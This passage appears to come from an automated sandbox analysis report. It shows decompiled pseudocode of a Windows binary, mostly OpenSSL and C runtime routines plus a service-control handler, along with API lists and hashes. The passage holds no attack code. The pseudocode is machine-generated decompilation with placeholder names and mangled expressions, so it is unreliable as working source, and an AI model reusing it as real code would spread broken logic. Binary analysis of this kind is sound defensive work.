                                                                0x00b9ad40
                                                                0x00b9ad40
                                                                0x00b9ad45
                                                                0x00b9ad49
                                                                0x00b9ad49
                                                                0x00000000
                                                                0x00b9ad45
                                                                0x00b9ad3e

                                                                APIs
                                                                • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00B9AD58
                                                                • __isleadbyte_l.LIBCMT ref: 00B9AD8C
                                                                • MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000,?,?,?,00000000,?,00000000,00000000), ref: 00B9ADBD
                                                                • MultiByteToWideChar.KERNEL32(?,00000009,?,00000001,00000000,00000000,?,?,?,00000000,?,00000000,00000000), ref: 00B9AE2B
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                                • String ID:
                                                                • API String ID: 3058430110-0
                                                                • Opcode ID: 8def87763f395070cf0edb182747fcafdc072ae6c772a5de2b960e1e649d40ae
                                                                • Instruction ID: f5c04d861cb0947d824e1dfdcfe4a35fff197263a29c39070381b0490ced7d68
                                                                • Opcode Fuzzy Hash: 8def87763f395070cf0edb182747fcafdc072ae6c772a5de2b960e1e649d40ae
                                                                • Instruction Fuzzy Hash: 5F318D31A1025AEFDF20DF64C881AAA7BF5EF01312B1585F9E4658B5A1D730DD80DB92
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 81%
                                                                			E00AC96B0(void* __edx, void* __eflags, char* _a4, char* _a8) {
                                                                				void* __ebx;
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				void* __ebp;
                                                                				void* _t5;
                                                                				char* _t20;
                                                                				void* _t21;
                                                                				void* _t22;
                                                                				char* _t23;
                                                                				void* _t24;
                                                                				void* _t25;
                                                                
                                                                				_t21 = __edx;
                                                                				_t20 = _a4;
                                                                				_t23 = _a8;
                                                                				_t22 = E00ADB600(_t20, _t23);
                                                                				_t25 = 1;
                                                                				_t5 = E00B8BFC0(_t23, 0x62);
                                                                				if(_t5 == 0) {
                                                                					_t3 = _t5 + 0x11; // 0x11
                                                                					_t25 = _t3;
                                                                				}
                                                                				_t36 = _t22;
                                                                				if(_t22 != 0) {
                                                                					_t24 = E00AB4E70(0xba1d08);
                                                                					__eflags = _t24;
                                                                					if(__eflags != 0) {
                                                                						E00AB5010(_t24, 0);
                                                                						E00AB5390(_t20, _t22, _t25, _t24, 0x6a, _t25, _t22);
                                                                						return _t24;
                                                                					} else {
                                                                						_push(_t22);
                                                                						E00B8B1A7(_t20, _t21, _t22, _t24, __eflags);
                                                                						__eflags = 0;
                                                                						return 0;
                                                                					}
                                                                				} else {
                                                                					E00AB8310(_t22, 2, 1, GetLastError(), "crypto\\bio\\bss_file.c", 0x4a);
                                                                					_push("\')");
                                                                					_push(_t23);
                                                                					_push("\',\'");
                                                                					_push(_t20);
                                                                					E00AB8610(5, "fopen(\'");
                                                                					if( *((intOrPtr*)(E00B8D8C9(_t36))) != 2) {
                                                                						E00AB8310(_t22, 0x20, 0x6d, 2, "crypto\\bio\\bss_file.c", 0x4f);
                                                                						__eflags = 0;
                                                                						return 0;
                                                                					} else {
                                                                						E00AB8310(_t22, 0x20, 0x6d, 0x80, "crypto\\bio\\bss_file.c", 0x4d);
                                                                						return 0;
                                                                					}
                                                                				}
                                                                			}














                                                                0x00ac96b0
                                                                0x00ac96b1
                                                                0x00ac96b7
                                                                0x00ac96c6
                                                                0x00ac96c8
                                                                0x00ac96cd
                                                                0x00ac96d7
                                                                0x00ac96d9
                                                                0x00ac96d9
                                                                0x00ac96d9
                                                                0x00ac96dc
                                                                0x00ac96de
                                                                0x00ac9761
                                                                0x00ac9766
                                                                0x00ac9768
                                                                0x00ac977d
                                                                0x00ac9787
                                                                0x00ac9795
                                                                0x00ac976a
                                                                0x00ac976a
                                                                0x00ac976b
                                                                0x00ac9776
                                                                0x00ac9779
                                                                0x00ac9779
                                                                0x00ac96e0
                                                                0x00ac96f2
                                                                0x00ac96f7
                                                                0x00ac96fc
                                                                0x00ac96fd
                                                                0x00ac9702
                                                                0x00ac970a
                                                                0x00ac971a
                                                                0x00ac9748
                                                                0x00ac9753
                                                                0x00ac9756
                                                                0x00ac971c
                                                                0x00ac972c
                                                                0x00ac973a
                                                                0x00ac973a
                                                                0x00ac971a

                                                                APIs
                                                                  • Part of subcall function 00ADB600: MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000), ref: 00ADB656
                                                                  • Part of subcall function 00ADB600: GetLastError.KERNEL32 ref: 00ADB65E
                                                                  • Part of subcall function 00ADB600: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000), ref: 00ADB682
                                                                  • Part of subcall function 00ADB600: GetLastError.KERNEL32 ref: 00ADB68A
                                                                • GetLastError.KERNEL32(crypto\bio\bss_file.c,0000004A), ref: 00AC96E7
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: ErrorLast$ByteCharMultiWide
                                                                • String ID: ','$crypto\bio\bss_file.c$fopen('
                                                                • API String ID: 3361762293-2653154188
                                                                • Opcode ID: 3d3fd0ce6b3b09418f3adafcb015f6c539ee9ebc467c5ebffc1e64bd261f47b2
                                                                • Instruction ID: 6f0225fefd6dbb99e984bc9c409b0112f73d83b70c51e37a24d7aaca05cde69c
                                                                • Opcode Fuzzy Hash: 3d3fd0ce6b3b09418f3adafcb015f6c539ee9ebc467c5ebffc1e64bd261f47b2
                                                                • Instruction Fuzzy Hash: C711B4B6BD531436E56035AC6C47FDB638C8F92FA2F0108B6F744B91D3EA86641052A2
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 90%
                                                                			E00B93DCB(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
                                                                				signed int _t13;
                                                                				void* _t25;
                                                                				intOrPtr _t27;
                                                                				intOrPtr _t29;
                                                                				void* _t30;
                                                                				void* _t31;
                                                                
                                                                				_t31 = __eflags;
                                                                				_t26 = __edi;
                                                                				_t25 = __edx;
                                                                				_t22 = __ebx;
                                                                				_push(0xc);
                                                                				_push(0xbdfde8);
                                                                				E00B90838(__ebx, __edi, __esi);
                                                                				_t29 = E00B94108(__ebx, _t31);
                                                                				_t13 =  *0xbe634c; // 0xfffffffe
                                                                				if(( *(_t29 + 0x70) & _t13) == 0) {
                                                                					L6:
                                                                					E00B8FD40(_t22, _t26, 0xc);
                                                                					 *(_t30 - 4) =  *(_t30 - 4) & 0x00000000;
                                                                					_t8 = _t29 + 0x6c; // 0x6c
                                                                					_t27 =  *0xbe6430; // 0xbe6358
                                                                					 *((intOrPtr*)(_t30 - 0x1c)) = E00B93D8D(_t8, _t25, _t27);
                                                                					 *(_t30 - 4) = 0xfffffffe;
                                                                					E00B93E35();
                                                                				} else {
                                                                					_t33 =  *((intOrPtr*)(_t29 + 0x6c));
                                                                					if( *((intOrPtr*)(_t29 + 0x6c)) == 0) {
                                                                						goto L6;
                                                                					} else {
                                                                						_t29 =  *((intOrPtr*)(E00B94108(_t22, _t33) + 0x6c));
                                                                					}
                                                                				}
                                                                				if(_t29 == 0) {
                                                                					E00B8B253(_t25, 0x20);
                                                                				}
                                                                				return E00B9087D(_t29);
                                                                			}









                                                                0x00b93dcb
                                                                0x00b93dcb
                                                                0x00b93dcb
                                                                0x00b93dcb
                                                                0x00b93dcb
                                                                0x00b93dcd
                                                                0x00b93dd2
                                                                0x00b93ddc
                                                                0x00b93dde
                                                                0x00b93de6
                                                                0x00b93e0a
                                                                0x00b93e0c
                                                                0x00b93e12
                                                                0x00b93e16
                                                                0x00b93e19
                                                                0x00b93e24
                                                                0x00b93e27
                                                                0x00b93e2e
                                                                0x00b93de8
                                                                0x00b93de8
                                                                0x00b93dec
                                                                0x00000000
                                                                0x00b93dee
                                                                0x00b93df3
                                                                0x00b93df3
                                                                0x00b93dec
                                                                0x00b93df8
                                                                0x00b93dfc
                                                                0x00b93e01
                                                                0x00b93e09

                                                                APIs
                                                                • __getptd.LIBCMT ref: 00B93DD7
                                                                  • Part of subcall function 00B94108: __getptd_noexit.LIBCMT ref: 00B9410B
                                                                  • Part of subcall function 00B94108: __amsg_exit.LIBCMT ref: 00B94118
                                                                • __getptd.LIBCMT ref: 00B93DEE
                                                                • __amsg_exit.LIBCMT ref: 00B93DFC
                                                                • __lock.LIBCMT ref: 00B93E0C
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: __amsg_exit__getptd$__getptd_noexit__lock
                                                                • String ID:
                                                                • API String ID: 3521780317-0
                                                                • Opcode ID: 73a297069d4d773b1c95dcd6d41dfc590e005cdd4d5606fe172b94d4c72d619c
                                                                • Instruction ID: 6b075874446253c2d8fbe36f44608fc329ad854f26c7306841d7e557aaffb47d
                                                                • Opcode Fuzzy Hash: 73a297069d4d773b1c95dcd6d41dfc590e005cdd4d5606fe172b94d4c72d619c
                                                                • Instruction Fuzzy Hash: 46F0B432954701CBDF20BB788843B5D7BE0EF01B10F5041F9E0516B2D1CB709A01CBA2
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 100%
                                                                			E00AC98C0(void* __ebp, intOrPtr* _a4, intOrPtr _a8) {
                                                                				void* __ebx;
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				intOrPtr _t20;
                                                                				intOrPtr _t32;
                                                                				intOrPtr* _t46;
                                                                				intOrPtr _t47;
                                                                
                                                                				_t47 = _a8;
                                                                				_t46 = _a4;
                                                                				_t16 =  *_t46;
                                                                				if( *_t46 >= _t47) {
                                                                					L4:
                                                                					 *_t46 = _t47;
                                                                					return _t47;
                                                                				} else {
                                                                					if( *((intOrPtr*)(_t46 + 8)) < _t47) {
                                                                						if(_t47 <= 0x5ffffffc) {
                                                                							_t5 = _t47 + 3; // 0xacb08d
                                                                							_t32 = (0xaaaaaaab * _t5 >> 0x20 >> 1) + (0xaaaaaaab * _t5 >> 0x20 >> 1) + (0xaaaaaaab * _t5 >> 0x20 >> 1) + (0xaaaaaaab * _t5 >> 0x20 >> 1);
                                                                							if(( *(_t46 + 0xc) & 0x00000001) == 0) {
                                                                								_t13 = _t46 + 4; // 0x681175c0
                                                                								_t20 = E00AC3500(_t47, __ebp,  *_t13, _t32, "crypto\\buffer\\buffer.c", 0x60);
                                                                							} else {
                                                                								_t20 = E00AC9870(_t32, _t46, _t32);
                                                                							}
                                                                							if(_t20 != 0) {
                                                                								 *((intOrPtr*)(_t46 + 4)) = _t20;
                                                                								 *((intOrPtr*)(_t46 + 8)) = _t32;
                                                                								E00B8BB40(_t46,  *_t46 + _t20, 0, _t47 -  *_t46);
                                                                								 *_t46 = _t47;
                                                                								return _t47;
                                                                							} else {
                                                                								E00AB8310(_t46, 7, 0x64, 0x41, "crypto\\buffer\\buffer.c", 0x62);
                                                                								return 0;
                                                                							}
                                                                						} else {
                                                                							E00AB8310(_t46, 7, 0x64, 0x41, "crypto\\buffer\\buffer.c", 0x59);
                                                                							return 0;
                                                                						}
                                                                					} else {
                                                                						_t4 = _t46 + 4; // 0x681175c0
                                                                						_t38 =  *_t4;
                                                                						if( *_t4 != 0) {
                                                                							E00B8BB40(_t46, _t38 + _t16, 0, _t47 - _t16);
                                                                						}
                                                                						goto L4;
                                                                					}
                                                                				}
                                                                			}










                                                                0x00ac98c1
                                                                0x00ac98c6
                                                                0x00ac98ca
                                                                0x00ac98ce
                                                                0x00ac98ee
                                                                0x00ac98ee
                                                                0x00ac98f4
                                                                0x00ac98d0
                                                                0x00ac98d3
                                                                0x00ac98fb
                                                                0x00ac9917
                                                                0x00ac9928
                                                                0x00ac992e
                                                                0x00ac993b
                                                                0x00ac9947
                                                                0x00ac9930
                                                                0x00ac9931
                                                                0x00ac9936
                                                                0x00ac9951
                                                                0x00ac997c
                                                                0x00ac997f
                                                                0x00ac9982
                                                                0x00ac998b
                                                                0x00ac9991
                                                                0x00ac9953
                                                                0x00ac9960
                                                                0x00ac996f
                                                                0x00ac996f
                                                                0x00ac98fd
                                                                0x00ac990a
                                                                0x00ac9916
                                                                0x00ac9916
                                                                0x00ac98d5
                                                                0x00ac98d5
                                                                0x00ac98d5
                                                                0x00ac98da
                                                                0x00ac98e6
                                                                0x00ac98eb
                                                                0x00000000
                                                                0x00ac98da
                                                                0x00ac98d3

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: _memset
                                                                • String ID: crypto\buffer\buffer.c
                                                                • API String ID: 2102423945-2193715570
                                                                • Opcode ID: 9a4520a3e98680b49116a7e00d93036d484d86683935037f643eabb8aa4833d3
                                                                • Instruction ID: e4b92529636e01a4c2a8e7ee492dbe6165a0161e7fb78638bf376b1af0cb3347
                                                                • Opcode Fuzzy Hash: 9a4520a3e98680b49116a7e00d93036d484d86683935037f643eabb8aa4833d3
                                                                • Instruction Fuzzy Hash: DC21F2B2B443116BD3146A6CEC82FA6F399AB80F10F05852DF619D72D2E6B4AC51C390
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 100%
                                                                			E00AB5C50(intOrPtr* _a4, intOrPtr _a8, intOrPtr* _a12) {
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				intOrPtr _t21;
                                                                				void* _t23;
                                                                				signed int _t25;
                                                                				intOrPtr _t33;
                                                                				void* _t36;
                                                                				signed int _t37;
                                                                				intOrPtr _t48;
                                                                				intOrPtr* _t53;
                                                                				void* _t54;
                                                                				void* _t55;
                                                                
                                                                				_t53 = _a4;
                                                                				_t21 =  *_t53;
                                                                				if(( *(_t21 + 0x10) & 0x00100000) == 0) {
                                                                					_t48 =  *((intOrPtr*)(_t21 + 4));
                                                                					__eflags = _t48 - 0x20;
                                                                					if(__eflags > 0) {
                                                                						E00AC7C70(_t36, _t48, _t53, _t54, __eflags, "assertion failed: b <= sizeof ctx->buf", "crypto\\evp\\evp_enc.c", 0x188);
                                                                						_t55 = _t55 + 0xc;
                                                                					}
                                                                					__eflags = _t48 - 1;
                                                                					if(_t48 != 1) {
                                                                						__eflags =  *(_t53 + 0x5c) & 0x00000100;
                                                                						_t37 =  *(_t53 + 0xc);
                                                                						if(( *(_t53 + 0x5c) & 0x00000100) == 0) {
                                                                							_t23 = _t48 - _t37;
                                                                							__eflags = _t37 - _t48;
                                                                							if(_t37 < _t48) {
                                                                								E00B8BB40(_t48, _t37 + _t53 + 0x30, _t23, _t23);
                                                                								_t55 = _t55 + 0xc;
                                                                							}
                                                                							_t25 =  *((intOrPtr*)( *((intOrPtr*)( *_t53 + 0x18))))(_t53, _a8, _t53 + 0x30, _t48);
                                                                							__eflags = _t25;
                                                                							if(_t25 != 0) {
                                                                								 *_a12 = _t48;
                                                                							}
                                                                							return _t25;
                                                                						} else {
                                                                							__eflags = _t37;
                                                                							if(_t37 == 0) {
                                                                								 *_a12 = 0;
                                                                								return 1;
                                                                							} else {
                                                                								E00AB8310(_t48, 6, 0x7f, 0x8a, "crypto\\evp\\evp_enc.c", 0x191);
                                                                								__eflags = 0;
                                                                								return 0;
                                                                							}
                                                                						}
                                                                					} else {
                                                                						 *_a12 = 0;
                                                                						return _t48;
                                                                					}
                                                                				} else {
                                                                					_t33 =  *((intOrPtr*)( *((intOrPtr*)(_t21 + 0x18))))(_t53, _a8, 0, 0);
                                                                					if(_t33 >= 0) {
                                                                						 *_a12 = _t33;
                                                                						return 1;
                                                                					} else {
                                                                						return 0;
                                                                					}
                                                                				}
                                                                			}















                                                                0x00ab5c51
                                                                0x00ab5c55
                                                                0x00ab5c5e
                                                                0x00ab5c88
                                                                0x00ab5c8b
                                                                0x00ab5c8e
                                                                0x00ab5c9f
                                                                0x00ab5ca4
                                                                0x00ab5ca4
                                                                0x00ab5ca7
                                                                0x00ab5caa
                                                                0x00ab5cbb
                                                                0x00ab5cc2
                                                                0x00ab5cc5
                                                                0x00ab5cff
                                                                0x00ab5d01
                                                                0x00ab5d03
                                                                0x00ab5d0c
                                                                0x00ab5d11
                                                                0x00ab5d11
                                                                0x00ab5d24
                                                                0x00ab5d29
                                                                0x00ab5d2b
                                                                0x00ab5d31
                                                                0x00ab5d31
                                                                0x00ab5d35
                                                                0x00ab5cc7
                                                                0x00ab5cc7
                                                                0x00ab5cc9
                                                                0x00ab5cf0
                                                                0x00ab5cfc
                                                                0x00ab5ccb
                                                                0x00ab5cde
                                                                0x00ab5ce7
                                                                0x00ab5cea
                                                                0x00ab5cea
                                                                0x00ab5cc9
                                                                0x00ab5cac
                                                                0x00ab5cb3
                                                                0x00ab5cba
                                                                0x00ab5cba
                                                                0x00ab5c60
                                                                0x00ab5c6d
                                                                0x00ab5c74
                                                                0x00ab5c7e
                                                                0x00ab5c86
                                                                0x00ab5c76
                                                                0x00ab5c79
                                                                0x00ab5c79
                                                                0x00ab5c74

                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID: assertion failed: b <= sizeof ctx->buf$crypto\evp\evp_enc.c
                                                                • API String ID: 0-1342495747
                                                                • Opcode ID: d5e83561087848a44d42a6667fe2accafbe7d6cd779bb7db806265595e96d812
                                                                • Instruction ID: 1a720d221cf497373d7a9d459a2ca851b1f7825f8de7c6755b3eed64c1fa35b7
                                                                • Opcode Fuzzy Hash: d5e83561087848a44d42a6667fe2accafbe7d6cd779bb7db806265595e96d812
                                                                • Instruction Fuzzy Hash: BE21D1717043005FE754EB28ED41FEA73EAAFC5710F040859F9459B282D7B1EC428AA1
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 58%
                                                                			E00AB2040(intOrPtr _a4) {
                                                                				void* _t3;
                                                                				intOrPtr _t5;
                                                                				int _t7;
                                                                				intOrPtr _t9;
                                                                				void* _t10;
                                                                				void* _t11;
                                                                
                                                                				_t3 = _a4 - 1;
                                                                				if(_t3 == 0) {
                                                                					 *0xbe9edc = 0;
                                                                					 *0xbe9ee8 = 0;
                                                                					_t5 =  *0xbe73a8;
                                                                					 *0xbe9ee4 = _t5;
                                                                					 *0xbe73a8 = _t5 + 1;
                                                                					_t7 =  *0xbe9eec; // 0x0
                                                                					 *0xbe9ed4 = 3;
                                                                					 *0xbe9ed8 = 1;
                                                                					SetServiceStatus(_t7, 0xbe9ed0);
                                                                					_t9 =  *0xbe9ed4; // 0x4
                                                                					_t10 = E00AB1C10(_t9, 0);
                                                                					__imp__#116();
                                                                					return _t10;
                                                                				}
                                                                				_t11 = _t3 - 4;
                                                                				if(_t11 != 0) {
                                                                					return _t11;
                                                                				} else {
                                                                					 *0xbe9ed4 = 1;
                                                                					return _t11;
                                                                				}
                                                                			}









                                                                0x00ab2049
                                                                0x00ab204b
                                                                0x00ab205d
                                                                0x00ab2062
                                                                0x00ab2067
                                                                0x00ab206c
                                                                0x00ab2073
                                                                0x00ab2078
                                                                0x00ab2083
                                                                0x00ab208d
                                                                0x00ab2093
                                                                0x00ab2099
                                                                0x00ab20a0
                                                                0x00ab20a5
                                                                0x00000000
                                                                0x00ab20a5
                                                                0x00ab204d
                                                                0x00ab2050
                                                                0x00ab20ab
                                                                0x00ab2052
                                                                0x00ab2052
                                                                0x00ab2058
                                                                0x00ab2058

                                                                APIs
                                                                • SetServiceStatus.ADVAPI32(00000000,00BE9ED0), ref: 00AB2093
                                                                • WSACleanup.WS2_32 ref: 00AB20A5
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: CleanupServiceStatus
                                                                • String ID: T1u
                                                                • API String ID: 3425175960-2799174939
                                                                • Opcode ID: c15592518928cc354d645168faa66fc12774ba37bac60d7ed6b5b94faeaa76a4
                                                                • Instruction ID: 478071bc30ffd7098cbe9f119bd3384ae0e3ba1bc5d0628ec91751953d5ed99b
                                                                • Opcode Fuzzy Hash: c15592518928cc354d645168faa66fc12774ba37bac60d7ed6b5b94faeaa76a4
                                                                • Instruction Fuzzy Hash: 1BF0FEB16503808FC744DF38EEC57823BE5A758B05B04442AE209CBB64DFB5984DDB04
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 100%
                                                                			E00B98EFF(char _a4, char _a5, char _a6, char _a7) {
                                                                				char _t7;
                                                                				int _t10;
                                                                
                                                                				_t7 = _a4;
                                                                				if(_t7 != 0) {
                                                                					_a4 = _t7 + 0x40;
                                                                					_a5 = 0x3a;
                                                                					_a6 = 0x5c;
                                                                					_a7 = 0;
                                                                					_t10 = GetDriveTypeA( &_a4);
                                                                					if(_t10 == 0 || _t10 == 1) {
                                                                						return 0;
                                                                					} else {
                                                                						goto L1;
                                                                					}
                                                                				} else {
                                                                					L1:
                                                                					return 1;
                                                                				}
                                                                			}





                                                                0x00b98f04
                                                                0x00b98f09
                                                                0x00b98f12
                                                                0x00b98f19
                                                                0x00b98f1d
                                                                0x00b98f21
                                                                0x00b98f25
                                                                0x00b98f2d
                                                                0x00b98f37
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00b98f0b
                                                                0x00b98f0b
                                                                0x00b98f0f
                                                                0x00b98f0f

                                                                APIs
                                                                • GetDriveTypeA.KERNEL32(?,?,00B98F4F,?,00000000,00000007,00000007,?,00B99094,00000000,?,00000104,00BDFFA0,0000000C,00B90CDE,?), ref: 00B98F25
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: DriveType
                                                                • String ID: :$\
                                                                • API String ID: 338552980-1166558509
                                                                • Opcode ID: 3647e3f29dc9e664bf40365f8f08648baeba52f19555e280fa3d0274e332b5e8
                                                                • Instruction ID: 4a9e6f401b884ef51e7ac98bc481e7d8df1aa83555135b77900794feae2c3e2f
                                                                • Opcode Fuzzy Hash: 3647e3f29dc9e664bf40365f8f08648baeba52f19555e280fa3d0274e332b5e8
                                                                • Instruction Fuzzy Hash: B8E0D8312183886EEF118E79844579A3FCDCB53388F04C4A6F84CCF101D530C6428351
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Executed Functions

                                                                Memory Dump Source
                                                                • Source File: 00000012.00000002.492447106.00000248A5650000.00000020.00000001.sdmp, Offset: 00000248A5650000, based on PE: false
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 4cc27a7454391932267f82244c56244a6aac533200b13c238a4ca055a52d7cca
                                                                • Instruction ID: e57b0eafcf02f597a47633f3c2269b29e872607b5df81d060c77378d7e38928a
                                                                • Opcode Fuzzy Hash: 4cc27a7454391932267f82244c56244a6aac533200b13c238a4ca055a52d7cca
                                                                • Instruction Fuzzy Hash: 2DD0A930924A288EEBF8C7088884BCCB3F1EB58390F3081C6D00893291CE308AC48F40
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Memory Dump Source
                                                                • Source File: 00000012.00000002.489364468.00000248A3C70000.00000020.00000001.sdmp, Offset: 00000248A3C70000, based on PE: false
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: a95ba1ef7acc7cd538f1b08accc4df5b3d603099825a1a7eea589c80e8e9dfe5
